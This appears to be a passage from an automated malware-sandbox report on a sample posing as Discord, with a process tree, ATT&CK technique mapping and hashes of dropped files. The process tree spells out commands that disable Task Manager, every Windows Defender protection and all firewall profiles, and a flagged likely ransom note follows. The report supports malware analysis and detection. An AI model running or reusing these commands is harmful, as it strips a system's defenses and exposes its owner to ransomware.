  2⤵
  PID:2980
- C:\Windows\system32\reg.exe
  reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr"
  2⤵
  PID:4680
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
  2⤵
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableScriptScanning $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableEmailProtection $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableControlledFolderAccess $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4472
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode disable
  2⤵
  - Modifies Windows Firewall
  PID:4348
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode=DISABLE
  2⤵
  - Modifies Windows Firewall
  PID:4972
- C:\Windows\system32\netsh.exe
  netsh advfirewall set currentprofile state off
  2⤵
  - Modifies Windows Firewall
  PID:3896
- C:\Windows\system32\netsh.exe
  netsh advfirewall set domainprofile state off
  2⤵
  - Modifies Windows Firewall
  PID:384
- C:\Windows\system32\netsh.exe
  netsh advfirewall set privateprofile state off
  2⤵
  - Modifies Windows Firewall
  PID:1372
- C:\Windows\system32\netsh.exe
  netsh advfirewall set publicprofile state off
  2⤵
  - Modifies Windows Firewall
  PID:4956
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:3100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableScriptScanning $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableEmailProtection $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableControlledFolderAccess $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'MRU' -Value '00000000000000000000000000000000'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableRealtimeMonitoring' -Value 1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'Exclusions' -Value 'C:\Windows\System32'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access' -Name 'DisableControlledFolderAccess' -Value 1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Network Protection' -Name 'DisableNetworkProtection' -Value 1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'AllowedApplications' -Value 'C:\Windows\System32'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'ExcludedPaths' -Value 'C:\Windows\System32'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'ProtectedFolders' -Value 'C:\Windows\System32'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'ProtectionEnabled' -Value 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'PromptedProtectionEnabled' -Value 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'PromptedProtectionEnabled' -Value 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access\ControlledFolderAccess' -Name 'RansomwareProtectionEnabled' -Value 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1220

C:\Users\Admin\AppData\Local\Discord\Update.exe
"C:\Users\Admin\AppData\Local\Discord\Update.exe" --processStart Discord.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:3620
- C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
  "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Checks processor information in registry
  PID:764
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://f.a.k/e --annotation=_productName=discord --annotation=_version=1.0.9148 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=28.2.10 --initial-client-data=0x500,0x504,0x508,0x4f4,0x50c,0x7ff6ebe53108,0x7ff6ebe53114,0x7ff6ebe53120
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1400
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1864 --field-trial-handle=1872,i,13845789421851414049,9517417285360807561,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4588
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=disclip --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=disclip --mojo-platform-channel-handle=2236 --field-trial-handle=1872,i,13845789421851414049,9517417285360807561,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4884
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=0 --gpu-device-id=0 --gpu-sub-system-id=0 --gpu-revision=0 --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2248 --field-trial-handle=1872,i,13845789421851414049,9517417285360807561,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3604
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:5108
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=disclip --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=disclip --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --autoplay-policy=no-user-gesture-required --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3220 --field-trial-handle=1872,i,13845789421851414049,9517417285360807561,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5028
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:4880
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe\",-1" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:1684
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe\" --url -- \"%1\"" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:2184
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=disclip --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=disclip --mojo-platform-channel-handle=4192 --field-trial-handle=1872,i,13845789421851414049,9517417285360807561,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1592
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\Discord.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --secure-schemes=disclip --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=disclip --mojo-platform-channel-handle=4332 --field-trial-handle=1872,i,13845789421851414049,9517417285360807561,262144 --enable-features=kWebSQLAccess --disable-features=CalculateNativeWinOcclusion,HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1048

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:740

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\1\1.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:1064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Google.Widevine.CDM.dll

Path C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_1846137639\Google.Widevine.CDM.dll
Size 2.7MB
SHA256 cb190e7d1b002a3050705580dd51eba895a19eb09620bdd48d63085d5d88031e
MD5 477c17b6448695110b4d227664aa3c48
SHA1 949ff1136e0971a0176f6adea8adcc0dd6030f22
SHA512 1e267b01a78be40e7a02612b331b1d9291da8e4330dea10bf786acbc69f25e0baece45fb3bafe1f4389f420ebaa62373e4f035a45e34eada6f72c7c61d2302ed
SSDEEP 49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5 SHA1 SHA512 SSDEEP

Submit Download

manifest.json

Path C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_1846137639\manifest.json
Size 145B
SHA256 6cce5ad8d496bc5179fa84af8afc568eeba980d8a75058c6380b64fb42298c28
MD5 bbc03e9c7c5944e62efc9c660b7bd2b6
SHA1 83f161e3f49b64553709994b048d9f597cde3dc6
SHA512 fb80f091468a299b5209acc30edaf2001d081c22c3b30aad422cbe6fea7e5fe36a67a8e000d5dd03a30c60c30391c85fa31f3931e804c351ab0a71e9a978cc0f
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping764_2015730617\manifest.json
Size 1001B
SHA256 68a3d7cb10f3001f40bc583b7fff0183895a61d3bd1b7a1c34e602df6f0f8806
MD5 2648d437c53db54b3ebd00e64852687e
SHA1 66cfe157f4c8e17bfda15325abfef40ec6d49608
SHA512 86d5c3129bec156b17b8ebd5dec5a6258e10cb426b84dd3e4af85c9c2cd7ebf4faea01fd10dd906a18ea1042394c3f41a835eae2d83dc8146dfe4b6d71147828
MD5 SHA1 SHA512

Submit Download

D3DCompiler_47.dll

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\D3DCompiler_47.dll
Size 4.7MB
SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
MD5 a7b7470c347f84365ffe1b2072b4f95c
SHA1 57a96f6fb326ba65b7f7016242132b3f9464c7a3
SHA512 83391a219631f750499fd9642d59ec80fb377c378997b302d10762e83325551bb97c1086b181fff0521b1ca933e518eab71a44a3578a23691f215ebb1dce463d
SSDEEP 49152:hCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRN1:oG2QCwmHjnog/pzHAo/Ayc
MD5 SHA1 SHA512 SSDEEP

Submit Download

app.ico

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\app.ico
Size 278KB
SHA256 dfcea1bea8a924252d507d0316d8cf38efc61cf1314e47dca3eb723f47d5fe43
MD5 084f9bc0136f779f82bea88b5c38a358
SHA1 64f210b7888e5474c3aabcb602d895d58929b451
SHA512 65bccb3e1d4849b61c68716831578300b20dcaf1cbc155512edbc6d73dccbaf6e5495d4f95d089ee496f8e080057b7097a628cc104fa8eaad8da866891d9e3eb
SSDEEP 192:uz/QWppKvrIXANuBox26FIeSyyEh9Y1kM12wngfi3TjOueN3/R/l:E/QWppKvrIXANuBc6gq3TjOuevl
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\chrome_100_percent.pak
Size 163KB
SHA256 b7805392bfce11118165e3a4e747ac0ca515e4e0ceadab356d685575f6aa45fb
MD5 4fc6564b727baa5fecf6bf3f6116cc64
SHA1 6ced7b16dc1abe862820dfe25f4fe7ead1d3f518
SHA512 fa7eab7c9b67208bd076b2cbda575b5cc16a81f59cc9bba9512a0e85af97e2f3adebc543d0d847d348d513b9c7e8bef375ab2fef662387d87c82b296d76dffa2
SSDEEP 3072:IOzwJCGIekwdLpsXYFAXg6IL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:IOzw1Iekam5QpK18Gb0OV8ld0GecQ3Ey
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\chrome_200_percent.pak
Size 222KB
SHA256 fac820a98b746a04ce14ec40c7268d6a58819133972b538f9720a5363c862e32
MD5 47668ac5038e68a565e0a9243df3c9e5
SHA1 38408f73501162d96757a72c63e41e78541c8e8e
SHA512 5412041c923057ff320aba09674b309b7fd71ede7e467f47df54f92b7c124e3040914d6b8083272ef9f985eef1626eaf4606b17a3cae97cfe507fb74bc6f0f89
SSDEEP 6144:QsDQYaSN6svydHLhQegx5GMRejnbdZnVE6YoppO4:QBfSN6svydrx6edhVELoXO4
MD5 SHA1 SHA512 SSDEEP

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\ffmpeg.dll
Size 4.0MB
SHA256 f51ba46aa90587df7294c216d3e0d45f5cbf3a062b04971d96d87647556fa02c
MD5 3c3f780ec6dddfc5803d19dcf0b4a0c1
SHA1 e27813b9c36539d67daba118a58038ba751c2ee5
SHA512 332aa9bff4db2458b7a1742f732e501dec165236b87a062a9fef4b09b734d901d13966b18d5fbe7461b50990585a240fd8b2593def254a7d03e92269f40b8ccc
SSDEEP 49152:VyNmQ8k+OvVJYzhSWaGefjUdcOPpyj4s595Uwv/rrW/hk0ayjZr87n6mfOApbowY:SQcCpyj4Q9D/vWG6jZreyRLBO/JBJ8
MD5 SHA1 SHA512 SSDEEP

Submit Download

icudtl.dat

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\icudtl.dat
Size 10.2MB
SHA256 f5170aa2b388d23bebf98784dd488a9bcb741470384a6a9a8d7a2638d768defb
MD5 e0f1ad85c0933ecce2e003a2c59ae726
SHA1 a8539fc5a233558edfa264a34f7af6187c3f0d4f
SHA512 714ed5ae44dfa4812081b8de42401197c235a4fa05206597f4c7b4170dd37e8360cc75d176399b735c9aec200f5b7d5c81c07b9ab58cbca8dc08861c6814fb28
SSDEEP 196608:hpgPBhORiuQwCliXUxbblHa93Whli6Z86WOH:n8wkDliXUxbblHa93Whli6Z8I
MD5 SHA1 SHA512 SSDEEP

Submit Download

libEGL.dll

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\libEGL.dll
Size 487KB
SHA256 ecf1bdf20e961dec39e84717b653153cee4a70bd55e1d6854804652badfb80d6
MD5 880591a0884a88a60bcfd499243f14fd
SHA1 b09b1c587e1b112359d9a5c63bb9e547dbbe23f6
SHA512 327f1acbe7f8a955572f095e09db956b65940b1eb14b92be18be2df341aaa1dd0f0a94a00f7bef452ad8bb082550d9617f6f0aaca4801f83e94b7c3b1cf98266
SSDEEP 6144:nJFoxlVY1qgRWdXZaI9He7GUPWHu+mFNa198TBDRmg7L:ToxlLgwdXQI9+7GM5Nave/mg7L
MD5 SHA1 SHA512 SSDEEP

Submit Download

libGLESv2.dll

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\libGLESv2.dll
Size 7.5MB
SHA256 0fc406dac7eae10fa86288d5691c6081df39b7171fcdfe73e69d8dd425e46bb3
MD5 dff04251531a9736bbec5c5c1ab10149
SHA1 ad2f87b5979be1bc357095d5711f423c42e41ee8
SHA512 7ba144932052f4fc581f1a1b535c81a4d47d0d4e2ca3a1c5098b748ff215cff8d9dd74fe2faed395cc622761ef576ce6e4a5fc028fc1594c486d90d641645b84
SSDEEP 98304:RUYoH+F/fxq5062J+r0/fqexpDx/JecQqUXm3+J:R/wIg06sq69/SC+J
MD5 SHA1 SHA512 SSDEEP

Submit Download

en-US.pak

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\locales\en-US.pak
Size 428KB
SHA256 0db4f65e527553b9e7bee395f774cc9447971bf0b86d1728856b6c15b88207bb
MD5 809b600d2ee9e32b0b9b586a74683e39
SHA1 99d670c66d1f4d17a636f6d4edc54ad82f551e53
SHA512 9dfbe9fe0cfa3fcb5ce215ad8ab98e042760f4c1ff6247a6a32b18dd12617fc033a3bbf0a4667321a46a372fc26090e4d67581eaab615bf73cc96cb90e194431
SSDEEP 6144:5GdVxPtFXqVtOMP9eXe9HfaYvaVP51SLngF/cjjwB:yVpwOMge9B251SXjwB
MD5 SHA1 SHA512 SSDEEP

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\resources.pak
Size 5.1MB
SHA256 546456d9a1328836a99876824f3beb7279f38403cd001515f5d9eb204939e57c
MD5 e9056386a2b4edac9f0ffa829bc0cfa0
SHA1 f8d4b8289ebb088c9997a1fde1c2f12aedd6c82e
SHA512 c49e832e5c16a1846ea882395e83f9cbe9f4f6b44be9f0c7276d0a4495b88091bd95593c5e167dba853834058d7ca823db60d2fac73434ed952b7064b2daf6da
SSDEEP 98304:pt1j254CJgWPVcz+cd31rJ7JBXbwHgf31/LrwrWBpcdmTHWCF3UlfPcauPFcHNp:ptp84CJPdB831FJ5wHwlzkrWBQmTHWoM
MD5 SHA1 SHA512 SSDEEP

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\resources\app.asar
Size 6.3MB
SHA256 f819a0553fe7e04e331119cfcd6ed399a05865ff05f0434d0b2e5ef660bef2d2
MD5 91a273dc1d39acad8781fecd5f57933d
SHA1 918ae121eafdae53fa029f1aece4e7dfce752112
SHA512 b406f7f686b56014c198e3df8d80f104cbacb3593ecd21c35003e6820b53092f7269f35d3045b7de9ea370ae258efb0d30639a494af1b59eea3f6563cbb83ef4
SSDEEP 49152:kZlHzbNR5leYpNQ+l5AK71AK9CgJUjzmguUJgdX4QNhAejRmf4vjRmz4yjmqnMBg:kzlZ4QE4O4yooAUo46g
MD5 SHA1 SHA512 SSDEEP

Submit Download

build_info.json

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\resources\build_info.json
Size 83B
SHA256 3d3f8ef59d1323705154516e73d62fa0781b19315372ac2332a82029acced2a4
MD5 5a3e7b67737956e1e0e985788775062d
SHA1 b861613a795f268ead8b990a85fda1bb3ba74a01
SHA512 86a45e9023b3f82d0f781e64de06d969ef427052063f3e8bf8cb508dc771299af10bcdff6a596e06094a7ad64805c04d3331e98b4d602556b5643f7c5c7546ec
MD5 SHA1 SHA512

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\v8_context_snapshot.bin
Size 627KB
SHA256 2db4a98abe705ef9bc18e69d17f91bc3f4c0f5703f9f57b41acb877100718918
MD5 1e4da0bc6404552f9a80ccde89fdef2b
SHA1 838481b9e4f1d694c948c0082e9697a5ed443ee2
SHA512 054917652829af01977e278cd0201c715b3a1280d7e43035507e4fa61c1c00c4cd7ed521c762aebd2ea2388d33c3d4d4b16cee5072d41e960021b6f38745a417
SSDEEP 6144:LlAKlrnVVc/eK7cPg9oCWCNM+MFjfjfGJCWXecRvUsoA4EytPcAzCYY:LZ0t7cP+Yz7Vcrz
MD5 SHA1 SHA512 SSDEEP

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\Discord\app-1.0.9148\vk_swiftshader.dll
Size 5.0MB
SHA256 8a64ec86334666091f56e04dba1cb10389add22dc155e4c45ac6fa642cab57da
MD5 700157cfec9d351080312a53b7d0efb7
SHA1 837ed874e8cce1c4622e97c9715fce3bb9c5fb27
SHA512 bd06ae31f7de7888f9c2bbfc229d82d593b810ff4568d4f4c22287070f9131ec33ea327db36195d3ed3c18a83aa6c576c24d22894a5c5894e8bf1c661a14c316
